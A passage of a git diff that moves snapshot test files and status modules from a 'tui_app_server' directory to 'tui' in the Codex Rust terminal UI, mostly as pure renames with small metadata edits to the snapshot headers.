@@ --- source: tui/src/history_cell.rs -assertion_line: 1817 expression: rendered --- • Called search.find_docs({"query":"ratatui styling","limit":3}) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap similarity index 90% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap index 6e6bccb315..0ee965d82f 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1934 expression: rendered --- • Called metrics.summary({"metric":"trace.latency","window":"15m"}) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap similarity index 92% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap index 6f7fd0e835..62cc89b2f3 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1850 expression: rendered --- • Called diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap similarity index 89% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap index 3c601c22ec..cd5eb9dc0c 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1795 expression: rendered --- • Called search.find_docs({"query":"ratatui styling","limit":3}) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap similarity index 94% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap index 7d9c16132b..ed2e0c236d 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1891 expression: rendered --- • Called diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__error_event_oversized_input_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__error_event_oversized_input_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__error_event_oversized_input_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__error_event_oversized_input_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_inventory_loading_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_inventory_loading_snapshot.snap similarity index 64% rename from codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_inventory_loading_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_inventory_loading_snapshot.snap index d01c31bd6a..c1b607e63c 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_inventory_loading_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_inventory_loading_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/history_cell.rs +source: tui/src/history_cell.rs assertion_line: 3477 expression: rendered --- diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap similarity index 83% rename from codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap index 6c95cc4433..ee84771027 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/history_cell.rs +source: tui/src/history_cell.rs expression: rendered --- /mcp diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap similarity index 85% rename from codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap index c859344b32..bb30096b68 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/history_cell.rs +source: tui/src/history_cell.rs assertion_line: 3310 expression: rendered --- diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap similarity index 96% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap index b9c0dfdee5..329cd232d8 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap @@ -1,6 +1,5 @@ --- source: tui/src/history_cell.rs -assertion_line: 1540 expression: rendered --- /mcp diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__plan_update_without_note_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__plan_update_without_note_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__plan_update_without_note_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__plan_update_without_note_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_empty_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_empty_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_empty_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_empty_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_long_command_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_long_command_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_long_command_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_long_command_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_many_sessions_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_many_sessions_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_many_sessions_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_many_sessions_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_multiline_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_multiline_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ps_output_multiline_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ps_output_multiline_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__single_line_command_compact_when_fits.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__single_line_command_compact_when_fits.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__single_line_command_compact_when_fits.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__single_line_command_compact_when_fits.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_renders_remote_image_urls.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_renders_remote_image_urls.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_renders_remote_image_urls.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_renders_remote_image_urls.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap similarity index 99% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap index 9870dddb06..51ce9e312f 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap @@ -2,6 +2,7 @@ source: tui/src/history_cell.rs expression: rendered --- + › one two three four five diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_transcript_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_transcript_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_transcript_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_transcript_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap b/codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap similarity index 85% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap rename to codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap index 63c42564de..315a722dd4 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/markdown_render_tests.rs -assertion_line: 714 expression: rendered --- See codex-rs/tui/src/markdown_render.rs:74. diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt.snap b/codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt.snap rename to codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex.snap b/codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex.snap rename to codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap b/codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap rename to codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_family.snap b/codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_family.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_family.snap rename to codex-rs/tui/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_family.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__multi_agents__tests__collab_agent_transcript.snap b/codex-rs/tui/src/snapshots/codex_tui__multi_agents__tests__collab_agent_transcript.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__multi_agents__tests__collab_agent_transcript.snap rename to codex-rs/tui/src/snapshots/codex_tui__multi_agents__tests__collab_agent_transcript.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_resume_interrupted.snap b/codex-rs/tui/src/snapshots/codex_tui__multi_agents__tests__collab_resume_interrupted.snap similarity index 71% rename from codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_resume_interrupted.snap rename to codex-rs/tui/src/snapshots/codex_tui__multi_agents__tests__collab_resume_interrupted.snap index cf72d0a637..4766beea08 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_resume_interrupted.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__multi_agents__tests__collab_resume_interrupted.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/multi_agents.rs +source: tui/src/multi_agents.rs assertion_line: 784 expression: cell_to_text(&cell) --- diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_snapshot_basic.snap b/codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_snapshot_basic.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_snapshot_basic.snap rename to codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_snapshot_basic.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap b/codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap similarity index 94% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap rename to codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap index 2dfab2aa7d..8bbcc488c2 100644 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap @@ -1,6 +1,5 @@ --- source: tui/src/pager_overlay.rs -assertion_line: 798 expression: term.backend() --- "/ S T A T I C / / / / / " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap b/codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap rename to codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_renders_live_tail.snap b/codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_renders_live_tail.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_renders_live_tail.snap rename to codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_renders_live_tail.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_snapshot_basic.snap b/codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_snapshot_basic.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_snapshot_basic.snap rename to codex-rs/tui/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_snapshot_basic.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_screen.snap b/codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_screen.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_screen.snap rename to codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_screen.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_search_error.snap b/codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_search_error.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_search_error.snap rename to codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_search_error.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_table.snap b/codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_table.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_table.snap rename to codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_table.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_thread_names.snap b/codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_thread_names.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__resume_picker__tests__resume_picker_thread_names.snap rename to codex-rs/tui/src/snapshots/codex_tui__resume_picker__tests__resume_picker_thread_names.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_truncated.snap b/codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_truncated.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_truncated.snap rename to codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_truncated.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages.snap b/codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages.snap rename to codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages@macos.snap b/codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages@macos.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages@macos.snap rename to codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages@macos.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_working_header.snap b/codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_working_header.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_working_header.snap rename to codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_working_header.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap b/codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap rename to codex-rs/tui/src/snapshots/codex_tui__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui__update_prompt__tests__update_prompt_modal.snap b/codex-rs/tui/src/snapshots/codex_tui__update_prompt__tests__update_prompt_modal.snap similarity index 100% rename from codex-rs/tui_app_server/src/snapshots/codex_tui__update_prompt__tests__update_prompt_modal.snap rename to codex-rs/tui/src/snapshots/codex_tui__update_prompt__tests__update_prompt_modal.snap diff --git a/codex-rs/tui_app_server/src/status/account.rs b/codex-rs/tui/src/status/account.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/account.rs rename to codex-rs/tui/src/status/account.rs diff --git a/codex-rs/tui_app_server/src/status/card.rs b/codex-rs/tui/src/status/card.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/card.rs rename to codex-rs/tui/src/status/card.rs diff --git a/codex-rs/tui_app_server/src/status/format.rs b/codex-rs/tui/src/status/format.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/format.rs rename to codex-rs/tui/src/status/format.rs diff --git a/codex-rs/tui_app_server/src/status/helpers.rs b/codex-rs/tui/src/status/helpers.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/helpers.rs rename to codex-rs/tui/src/status/helpers.rs diff --git a/codex-rs/tui_app_server/src/status/mod.rs b/codex-rs/tui/src/status/mod.rs similarity index 100% rename from 